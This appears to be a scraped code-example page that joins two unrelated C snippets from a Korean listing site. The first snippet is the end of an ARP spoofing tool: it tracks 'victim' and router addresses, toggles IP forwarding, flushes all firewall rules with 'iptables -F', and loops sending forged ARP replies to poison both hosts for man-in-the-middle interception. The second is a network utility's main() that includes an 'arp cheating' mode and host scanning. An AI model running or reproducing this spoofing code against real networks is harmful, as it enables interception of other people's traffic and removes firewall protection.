    MY_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    MY_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    ROUTER_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    ROUTER_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    VICTIM_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    VICTIM_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    // Create a Raw Socket
    RAW = create_raw_socket(ETH_P_ALL);

    MY_MAC_ADDRS = get_mac_addr(RAW, interface);
    MY_IP_ADDRS = get_ip_addr(RAW, interface);

    submit_log("MY IP ADDR: %s", MY_IP_ADDRS);
    submit_log("MY MAC ADDR: %s", MY_MAC_ADDRS);

    if (set_router == 1) {
        ROUTER_IP_ADDRS = strtok(router, "-");
        ROUTER_MAC_ADDRS = strtok(NULL, "-");

        submit_log("R IP ADDR: %s", ROUTER_IP_ADDRS);
        submit_log("R MAC ADDR: %s", ROUTER_MAC_ADDRS);
    }

    if (set_target == 1) {
        VICTIM_IP_ADDRS = strtok(victim, "-");
        VICTIM_MAC_ADDRS = strtok(NULL, "-");

        submit_log("V IP ADDR: %s", VICTIM_IP_ADDRS);
        submit_log("V MAC ADDR: %s", VICTIM_MAC_ADDRS);
    }



    arg = 1;
    if (setsockopt(RAW, SOL_SOCKET, SO_REUSEADDR, &arg, sizeof (arg)) == -1) {
        submit_log("[%s]\n", "setsockopt(): failed");
        exit(EXIT_FAILURE);
    }
    //BindRawSocketToInterface(argv[1], RAW,ETH_P_ALL); // Bind raw Socket to Interface

    if (unidir != 1) {
        // Enable IP Forwarding to capture 2 way traffic (Victim >> Router && Router >> Victim)
        if ((system("echo 1 > /proc/sys/net/ipv4/ip_forward")) == -1) {
            submit_log("%s", "unable to set ip_forward flag to 1");
            return EXIT_FAILURE;
        }
    } else {
        submit_log("%s", "IP Forwarding set to 0");
        // Allow to capture 1 way traffic (Victim >> Router) and do not pass the request to Router
        if ((system("echo 0 > /proc/sys/net/ipv4/ip_forward")) == -1) {
            submit_log("%s", "unable to set ip_forward flag to 0");
            return EXIT_FAILURE;
        }
    }

    // Clear the Firewall rules for the device
    if ((system("iptables -F")) == -1) {
        submit_log("%s", "Unable to Flush the Firewall rules");
        return EXIT_FAILURE;
    }


    while (TRUE) {
        ethernet = create_eth_header(MY_MAC_ADDRS, VICTIM_MAC_ADDRS, ETHERTYPE_ARP);
        arp = create_arp_header(MY_MAC_ADDRS, ROUTER_IP_ADDRS, VICTIM_MAC_ADDRS, VICTIM_IP_ADDRS, ARP_REPLY);
        send_packet(ethernet, arp, interface);

        ethernet = create_eth_header(MY_MAC_ADDRS, ROUTER_MAC_ADDRS, ETHERTYPE_ARP);
        arp = create_arp_header(MY_MAC_ADDRS, VICTIM_IP_ADDRS, ROUTER_MAC_ADDRS, ROUTER_IP_ADDRS, ARP_REPLY);
        send_packet(ethernet, arp, interface);

        sleep(1);

        config = fopen(CONFIG_FILE_LOC, "r");
        exitValue = malloc(sizeof (char *));
        rewind(config); // Seek to the beginning of the file
        if (fgets(exitValue, 100, config) != NULL) {
            fprintf(stdout, "%c\n", exitValue[0]);
            fflush(stdout);

            if (exitValue[0] == '1') {
                fprintf(stdout, "Exiting.....\n");
                break;
            }
        }

        free(exitValue);
        fclose(config);

    }

    return 0;
}
예제 #20
0
파일: socket.c 프로젝트: antontest/c
/*********************************************************
 ******************    Main Function    ******************
 *********************************************************/
int main(int agrc, char *agrv[])
{
    int rt = 0; /* return value of function main */
    
    /**
     * Get paramters from the command line
     */
    if (parser_args(agrc, agrv) < 0) {
        //print_usage();
        rt = -1;
        goto error;
    };


    /**
     * get net mac address
     */
    if (netmac_flag) {
        unsigned char buf[6];
        struct timeval start = {0}, end = {0};
        int tuse = 0;
        int ret = 0;

        gettimeofday(&start, NULL);
        if ((ret = get_net_mac(ip, buf, 0)) > 0) {
            gettimeofday(&end, NULL);
            tuse = (end.tv_sec - start.tv_sec) * 1000000 + (end.tv_usec - start.tv_usec);
            printf("\033[0;m%s MAC Address: \033[0;35m%02x:%02x:%02x:%02x:%02x:%02x\033[0m, used %d.%03ds.\n", ip, 
                    buf[0], buf[1], buf[2], buf[3], buf[4], buf[5], (int)ret/ 1000000, (int)(ret % 1000000));
        } else {
            printf("\033[0;31mget %s net mac failed\n\033[0m", ip);
            return -1;
        }
        
        return 0;
    }

    /**
     * get mac address
     */
    if (mac_flag) {
        if (!strlen(ether)) get_ifname(ether);
        unsigned char buf[6] = {0};
        char *str = NULL, *save_str = NULL;

        for (str = ether; ; str = NULL) {
            save_str = strtok(str, " ");
            if (save_str == NULL) return -1;

            if (!get_mac_addr(save_str, buf)) {
                printf("\033[0;32m%s: \033[0;35m%02x:%02x:%02x:%02x:%02x:%02x\n\033[0m", save_str, 
                        buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
            } else {
                printf("\033[0;31m%s: -1\n\033[0m", save_str);
                return -1;
            }

            return 0;
        }
    }

    /**
     * aro cheating
     */
    if (cheat_flag) {
        if (!strlen(ip)) {
            printf("\033[0;31minput ipaddress when arp cheating\n\033[0m");
            return -1;
        }

        //if (!strlen(ether) || !strlen(gateway_ip)) 
        //    get_gateway(gateway_ip, ether);
        //rt = arp_cheat(ether, ip, gateway_ip);
        rt = arp_cheating(ip);
        
        return rt;
    }

    /**
     * get interface name
     */
    if (eth_flag && !strlen(ether)) {
        if (!get_ifname(ether)) {
            printf("\033[0;35m%s\n\033[0m", ether);
            return 0;
        } else {
            printf("\033[0;31mget interface failed\n\033[0m");
            return -1;
        }
    }

    /**
     * get gateway ip address
     */
    if (gateway_flag && !strlen(gateway_ip)) {
        if (!strlen(ether)) {
            get_ifname(ether);
        }
        if (!strlen(ether)) {
            printf("\033[0;31mget interface failed\n\033[0m");
            return -1;
        } 
        
        char *str = NULL, *save_str = NULL;
        for (str = ether; ; str = NULL) {
            save_str = strtok(str, " ");
            if (save_str == NULL) return -1;

            if (!get_gateway(gateway_ip, save_str)) {
                printf("\033[0;32m%s\'s gateway address is:\033[0;35m %s\n\033[0m", 
                        save_str, gateway_ip);
                return 0;
            } else {
                printf("\033[0;31mget interface failed\n\033[0m");
                return -1;
            }
        }
    }

    if (router_flag) {
        if (strlen(ip)) route(ip);
        return 0;
    }

    if (up_flag) {
        scan_router_ip_up(up_range, 4);
        return 0;
    }

    if (!strlen(ip)) strcpy(ip, "127.0.0.1");
    if (proto_flag) {
        printf("\033[1;31mConfiguration: \n");
        printf("\033[1;35m  protocol    : \033[1;32m%s\n", proto_str);
        printf("\033[1;35m  ip          : \033[1;32m%s\n", ip);
        printf("\033[1;35m  port        : \033[1;32m%d\n", port);
        printf("\033[1;35m  ser         : \033[1;32m%d\n", ser_flag);
        printf("\033[1;35m  cli         : \033[1;32m%d\n", cli_flag);
        printf("\033[1;35m  times       : \033[1;32m%d\n", times);
        printf("\033[1;35m  wait  time  : \033[1;32m%d\n", sleep_time);
        printf("\033[0m\n");

        switch (protocol)
        {
            case PROTO_TCP:
                if (ser_flag) net_tcp_ser(ip, port);
                else if (cli_flag) net_tcp_cli(ip, port);
                break;
            case PROTO_UDP:
                if (ser_flag) net_udp_ser(ip, port);
                else if (cli_flag) net_udp_cli(ip, port);
                break;
            case PROTO_BROADCAST:
                if (ser_flag) udp_broadcast_recv(ip, port, times, NULL, 0);
                else if (cli_flag)
                {
                    if (strlen(message))
                        udp_broadcast_send(ip, port, times, message);
                    else 
                        udp_broadcast_send(ip, port, times, NULL);
                }
            case PROTO_MULTICAST:
                if (ser_flag) udp_multicast_recv(ip, port, times, NULL, 0);
                else if (cli_flag)
                {
                    if (strlen(message))
                        udp_multicast_send(ip, port, times, message);
                    else 
                        udp_multicast_send(ip, port, times, NULL);
                }
                break;
            case '?':
            default:
                return -1;
                break;
        }

        return 0;
    }

error:
    /**
     * error handling
     */

    return rt;
}